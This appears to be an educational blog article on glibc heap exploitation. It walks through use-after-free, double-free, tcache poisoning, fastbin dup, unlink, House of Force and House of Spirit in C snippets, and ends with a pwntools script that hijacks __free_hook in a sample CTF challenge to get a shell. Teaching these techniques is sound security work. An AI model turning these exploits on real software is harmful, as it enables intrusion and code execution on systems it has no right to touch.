Heap Exploitation Techniques
In the previous article, we dissected glibc’s malloc — chunks, bins, tcache, coalescing, and the metadata that holds it all together. Now we break it.
Heap exploitation is fundamentally different from stack exploitation. On the stack, the goal is clear: overwrite the return address, control EIP. On the heap, there’s no return address to overwrite. Instead, we corrupt the allocator’s metadata to trick malloc() into returning a pointer to memory we want to control — a function pointer, a GOT entry, a vtable, or any other target.
The general pattern:
1. Corrupt heap metadata (via overflow, use-after-free, or double-free)
2. Trick malloc() into returning a pointer to a controlled location
3. Write to that location (overwrite a function pointer, GOT entry, etc.)
4. Trigger the corrupted pointer → code execution
Let’s walk through the major techniques.
1. Use-After-Free (UAF)
Use-after-free is the most common heap vulnerability in modern software. It happens when a program frees memory but continues to use the pointer.
The Bug
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
void (*handler)(char *);
char name[32];
} User;
void admin_shell(char *arg) {
system("/bin/sh");
}
void greet(char *name) {
printf("Hello, %s!\n", name);
}
int main() {
User *user = malloc(sizeof(User));
user->handler = greet;
strcpy(user->name, "thilan");
// Bug: free the user but keep using the pointer
free(user);
// Attacker allocates same-sized chunk — gets the same memory
char *evil = malloc(sizeof(User));
// Overwrite the function pointer
*(void **)(evil) = admin_shell;
// Dangling pointer still used — calls our overwritten handler
user->handler(user->name); // Calls admin_shell instead of greet!
return 0;
}
Why It Works
useris allocated —mallocreturns address0x5655a1a0free(user)— The chunk goes to tcache (or a free bin)malloc(sizeof(User))— Same size as the freed chunk. The allocator reuses the same memory: returns0x5655a1a0evilpoints to the exact same memory asuser- Writing to
evilmodifies the data thatuserstill points to user->handler()calls our overwritten function pointer
Timeline:
malloc(user) → user = 0x5655a1a0 [handler=greet, name="thilan"]
free(user) → chunk goes to free list
malloc(evil) → evil = 0x5655a1a0 (same address!)
*(evil) = admin_shell → overwrites user->handler
user->handler() → calls admin_shell → shell!
In the Real World
UAF is the dominant vulnerability class in browsers (Chrome, Firefox, Safari), PDF readers, and any software that manages complex object lifetimes. The typical pattern:
- An object is freed but a reference survives (dangling pointer)
- The attacker triggers an allocation of the same size to reclaim the memory
- The attacker controls the new allocation’s contents
- The dangling pointer is dereferenced — reading attacker-controlled data
This is why browsers use custom allocators (PartitionAlloc in Chrome, jemalloc in Firefox) with features specifically designed to mitigate UAF — like isolating different object types in separate heap regions.
2. Double-Free
A double-free occurs when free() is called twice on the same pointer. This corrupts the free list, allowing an attacker to trick malloc() into returning the same chunk twice.
Tcache Double-Free (glibc < 2.29)
In early tcache versions, there was no check for double-free:
char *a = malloc(32);
free(a);
free(a); // Double-free — no error in glibc < 2.29!
After the double-free, the tcache looks like:
tcache[32]: a → a → a → a → ... (circular!)
The chunk’s fd pointer points to itself. Now:
char *b = malloc(32); // Returns a
char *c = malloc(32); // Returns a AGAIN (it's still in the list)
Both b and c point to the same memory. Write to b, read from c — or vice versa. This gives overlapping allocations, which leads to all sorts of corruption.
Tcache Poisoning via Double-Free
The real power comes from modifying the fd pointer between the two allocations:
char *a = malloc(32);
free(a);
free(a); // Double-free — a is in tcache twice
// First malloc returns a
char *b = malloc(32);
// Overwrite a's fd pointer (since b == a, this modifies the tcache list)
*(size_t *)b = (size_t)target_address;
// Second malloc returns a again (consuming the first copy)
char *c = malloc(32);
// Third malloc follows the corrupted fd → returns target_address!
char *d = malloc(32); // d == target_address — we control where malloc returns!
The tcache list progression:
After double-free: tcache → a → a (circular)
After malloc(b): tcache → a
After overwrite fd: tcache → a → target_address
After malloc(c): tcache → target_address
After malloc(d): d = target_address! ← We control this
Now d points to whatever address we chose. We can write arbitrary data to an arbitrary address — the foundation for code execution.
Targeting __free_hook
A classic target is __free_hook — a glibc function pointer that, if non-NULL, is called by free() instead of the normal free logic:
// Overwrite __free_hook with system()
*(size_t *)b = (size_t)&__free_hook;
malloc(32); // consume
malloc(32); // consume
char *hook = malloc(32); // returns __free_hook address
*(size_t *)hook = (size_t)system; // __free_hook = system
// Now: free(ptr) calls system(ptr)
char *cmd = malloc(32);
strcpy(cmd, "/bin/sh");
free(cmd); // free("/bin/sh") → system("/bin/sh") → shell!
Note: __free_hook was removed in glibc 2.34. Modern exploits target other function pointers (vtables, GOT entries, etc.).
Bypassing glibc 2.29+ Double-Free Detection
glibc 2.29 added a key field to tcache entries. When a chunk is put in tcache, the key field is set to a known value. On free(), if the key already matches, it’s a double-free.
Bypass: free the chunk, corrupt the key field (via a heap overflow or UAF), then free again. The check passes because the key no longer matches.
3. Heap Overflow
A heap overflow is the heap equivalent of a stack buffer overflow — writing past the end of a heap allocation into the next chunk’s metadata.
Overwriting the Next Chunk’s Metadata
char *a = malloc(32);
char *b = malloc(32);
// Overflow a — write past its 32 bytes into b's header
strcpy(a, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // 32 bytes for a
"BBBBBBBB"); // Overwrites b's header
Memory layout:
Before overflow:
┌─────────────────────┬──────────────┬─────────────────────┬──────────────┐
│ a's header │ a's data │ b's header │ b's data │
│ prev_size | size │ AAAA... │ prev_size | size │ ... │
└─────────────────────┴──────────────┴─────────────────────┴──────────────┘
After overflow:
┌─────────────────────┬──────────────┬─────────────────────┬──────────────┐
│ a's header │ a's data │ CORRUPTED │ b's data │
│ prev_size | size │ AAAA...AAAA │ BBBB | BBBB │ ... │
└─────────────────────┴──────────────┴─────────────────────┴──────────────┘
↑ prev_size and size are corrupted!
By carefully controlling the overflow data, we can manipulate b’s size field, prev_size, fd, and bk pointers.
Overlapping Chunks
One powerful technique: corrupt a chunk’s size field to create overlapping chunks.
char *a = malloc(24); // Chunk at 0x100, size 0x20
char *b = malloc(24); // Chunk at 0x120, size 0x20
char *c = malloc(24); // Chunk at 0x140, size 0x20
char *guard = malloc(24); // Prevent coalescing with top chunk
// Overflow a to change b's size from 0x21 to 0x41 (covers b + c)
*(size_t *)(a + 24) = 0; // b's prev_size
*(size_t *)(a + 28) = 0x41; // b's size — now covers b AND c
free(b); // Frees a "chunk" that's actually b + c combined
// Allocate a chunk that overlaps c
char *d = malloc(56); // Gets the combined b+c area
// d overlaps with c — writing to d writes to c's memory
// c is still a valid, allocated pointer!
Now d and c overlap. Writing to d at the right offset modifies c’s contents. If c contains a function pointer, game over.
4. Fastbin Dup
Fastbin dup is the fastbin equivalent of tcache poisoning. It exploits the LIFO nature of fast bins to get malloc() to return an arbitrary address.
The Classic Technique
glibc has a simple double-free check for fast bins: it compares the chunk being freed with the chunk at the top of the fast bin. If they match, it aborts. But it only checks the top — so we can bypass it by freeing a different chunk in between:
char *a = malloc(32);
char *b = malloc(32);
free(a); // Fastbin: a → NULL
free(b); // Fastbin: b → a → NULL
free(a); // Fastbin: a → b → a (circular!) — bypasses check because top was b, not a
Now a is in the fast bin twice. We can poison fd just like tcache:
char *x = malloc(32); // Returns a
*(size_t *)x = target_addr; // Corrupt a's fd to point to target
char *y = malloc(32); // Returns b
char *z = malloc(32); // Returns a (again)
char *w = malloc(32); // Returns target_addr!
There’s one extra constraint: fast bins have a size check. The fake chunk at target_addr must have a valid size field that matches the fast bin’s expected size. Attackers search for naturally occurring values in memory that look like valid sizes (a technique called “finding a fake chunk”).
Finding Fake Chunks Near __malloc_hook
A classic target is __malloc_hook (a function pointer called by malloc()). The memory near __malloc_hook in libc often contains values that, when interpreted as a chunk size, match a fast bin size. Attackers use this as their fake chunk:
# Search for a valid fastbin size near __malloc_hook
fake_chunk = libc.symbols['__malloc_hook'] - 0x23 # Offset found by scanning
# The byte at fake_chunk + 8 (the size field) happens to be 0x7f
# 0x7f rounds to 0x70 → valid for fastbin[5]
This technique is specific to each libc version — the exact offset varies. But the principle is universal: find a naturally occurring “size” value near your target.
5. The Unlink Attack (Classic)
The unlink attack exploits the coalescing mechanism. When free chunks are merged, the allocator removes them from their doubly-linked list using an unlink macro:
// Simplified unlink:
void unlink(chunk *P) {
chunk *FD = P->fd;
chunk *BK = P->bk;
FD->bk = BK; // Forward's back = our back
BK->fd = FD; // Back's forward = our forward
}
If we control P->fd and P->bk, the unlink writes:
BKtoFD->bk(at address FD + offset_of_bk)FDtoBK->fd(at address BK + offset_of_fd)
This is an arbitrary write — we control both the address and the value.
Safe Unlinking (Modern glibc)
Modern glibc added a check:
if (FD->bk != P || BK->fd != P) {
abort(); // Corrupted doubly-linked list
}
This verifies that the forward chunk’s back pointer and the backward chunk’s forward pointer both point back to P. A naive attacker who sets fd and bk to arbitrary values will fail this check.
Bypassing Safe Unlinking
The bypass requires knowing the address of P (the chunk being unlinked). If we have a global pointer to the chunk:
char *global_ptr;
global_ptr = malloc(128);
We set:
P->fd = &global_ptr - 12 (so that fd->bk == &global_ptr == P ✓)
P->bk = &global_ptr - 8 (so that bk->fd == &global_ptr == P ✓)
After unlink:
FD->bk = BK → *((&global_ptr - 12) + 12) = &global_ptr - 8
→ *(&global_ptr) = &global_ptr - 8
→ global_ptr = &global_ptr - 8
Now global_ptr points near itself. Writing through global_ptr with a controlled offset lets us overwrite other global data — including GOT entries or other function pointers.
6. House of Force
The House of Force attacks the top chunk. By overflowing into the top chunk’s size field and setting it to a very large value (like 0xFFFFFFFF), we can make malloc() return nearly any address.
char *a = malloc(32);
// Overflow a to corrupt the top chunk's size
*(size_t *)(a + 32 + 4) = 0xFFFFFFFF; // Top chunk size = huge
// Calculate distance to target
size_t target = 0x0804a020; // GOT entry
size_t top = (size_t)(a + 32 + 8); // Current top chunk address
size_t distance = target - top - 8; // Account for chunk header
malloc(distance); // Advances top chunk to target
char *evil = malloc(32); // Returns target!
Modern glibc checks that the top chunk’s size is reasonable, making this harder — but on older versions or with other corruptions, it’s still viable.
7. House of Spirit
House of Spirit creates a fake chunk on the stack (or anywhere in memory) and frees it, injecting it into the free list. A subsequent malloc() returns the fake chunk’s address.
// Create a fake chunk on the stack
size_t fake_chunk[10];
fake_chunk[0] = 0; // prev_size
fake_chunk[1] = 0x41; // size (valid for a bin) with PREV_INUSE set
// Need a valid next chunk too:
fake_chunk[8] = 0; // next chunk's prev_size
fake_chunk[9] = 0x21; // next chunk's size (valid)
// Free the fake chunk (points to fake_chunk[2], the "user data")
free(&fake_chunk[2]);
// malloc returns our fake stack chunk!
char *stack_ptr = malloc(0x38); // stack_ptr points to the stack!
Now malloc() returned a pointer to the stack. Writing to stack_ptr writes to the stack — including the return address.
Putting It All Together — A Realistic Exploit
Here’s a simplified CTF-style challenge and exploit:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *notes[10];
void create_note(int idx, int size) {
notes[idx] = malloc(size);
printf("Content: ");
read(0, notes[idx], size);
}
void delete_note(int idx) {
free(notes[idx]);
// Bug: doesn't set notes[idx] = NULL (dangling pointer)
}
void edit_note(int idx, int size) {
// Bug: uses attacker-controlled size, not original allocation size
read(0, notes[idx], size);
}
void show_note(int idx) {
printf("%s\n", notes[idx]);
}
The bugs: UAF (dangling pointer after free) and heap overflow (edit with arbitrary size).
Exploit Strategy (tcache poisoning)
from pwn import *
p = process('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 1. Create two notes
create(0, 0x80) # Note 0
create(1, 0x80) # Note 1
# 2. Free note 0 — it goes to tcache
delete(0)
# 3. Leak: show note 0 (UAF — reads freed chunk's fd pointer)
# In tcache, the fd contains a heap address or NULL
# For unsorted bin, fd/bk contain libc addresses (main_arena)
show(0)
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - 0x3ebca0 # offset to main_arena
log.info(f"libc: {hex(libc.address)}")
# 4. Double-free via UAF (or use edit to corrupt fd)
delete(0) # Double-free if no tcache key check
# Or: edit note 0 to overwrite fd pointer
# 5. Tcache poison — point fd to __free_hook
edit(0, 8, p64(libc.symbols['__free_hook']))
# 6. Allocate twice — second malloc returns __free_hook
create(2, 0x80) # Returns the original chunk
create(3, 0x80) # Returns __free_hook!
# 7. Write system() to __free_hook
edit(3, 8, p64(libc.symbols['system']))
# 8. Free a note containing "/bin/sh" → free() calls system("/bin/sh")
edit(0, 8, b"/bin/sh\x00")
delete(0)
p.interactive()
$ python3 exploit.py
[*] libc: 0x7f3a8b200000
$ whoami
thilan
$ id
uid=1000(thilan) gid=1000(thilan)
Shell. From a heap vulnerability.
Modern Mitigations and Bypasses
| Mitigation | What It Does | Bypass |
|---|---|---|
| Safe unlinking | Validates fd/bk before unlink | Use a known pointer address |
| Tcache key (2.29) | Detects double-free in tcache | Corrupt the key via overflow/UAF |
| Tcache count (2.30) | Limits entries per bin | Use fastbins instead |
| Safe-linking (2.32) | XORs fd pointers with address | Leak a heap address to recover the XOR key |
| __free_hook removed (2.34) | No more easy hook target | Use IO_FILE structs, vtables, GOT |
| ASLR | Randomizes heap/libc addresses | Leak via UAF or format string |
The trend is clear — each glibc version adds more checks, and exploit developers find new targets. Post-2.34 exploitation focuses on FILE structure attacks (corrupting the vtable of stdout/stdin) and FSOP (File Stream Oriented Programming).
Heap Exploitation Cheat Sheet
| Technique | Prerequisite | What You Get |
|---|---|---|
| Use-After-Free | Dangling pointer + reallocation | Overlapping allocations, control freed data |
| Double-Free | Free same chunk twice | Chunk appears in free list twice → tcache/fastbin poisoning |
| Tcache Poisoning | Corrupt tcache fd pointer | malloc() returns arbitrary address |
| Fastbin Dup | Double-free with fastbin | Same as tcache poisoning (older technique) |
| Heap Overflow | Write past allocation boundary | Corrupt adjacent chunk metadata |
| Overlapping Chunks | Corrupt size field | Two valid pointers to overlapping memory |
| Unlink | Corrupt fd/bk + know chunk address | Arbitrary write via unlinking |
| House of Force | Corrupt top chunk size | malloc() returns nearly any address |
| House of Spirit | Control memory, call free() on it | Inject fake chunk into free list |
Practice Resources
Heap exploitation is hard to learn from reading alone. You need practice:
- how2heap (github.com/shellphish/how2heap) — The definitive collection of heap exploitation techniques with working examples for every glibc version
- pwnable.kr — Online CTF challenges including heap challenges
- pwnable.tw — More advanced heap challenges
- Nightmare (guyinatuxedo.github.io) — Reverse engineering and exploit dev course with heap sections
- HeapLAB (by Max Kamper) — Structured course specifically for heap exploitation
Final Thoughts
Heap exploitation is where exploit development gets real. Stack overflows are becoming rare in modern software — compilers insert canaries, ASLR randomizes the stack, DEP prevents code injection. But the heap is dynamic, complex, and managed by intricate allocator logic that’s difficult to protect completely.
Every new glibc version patches old techniques and introduces new checks. And every few months, researchers find new ways around those checks. The fundamental problem is that the heap allocator must be both fast and safe — and performance optimizations (like tcache’s minimal checking) create exploitation opportunities.
If you want to understand modern vulnerability research — browser exploits, kernel exploits, server compromises — heap exploitation is the skill that matters most.
Happy reversing!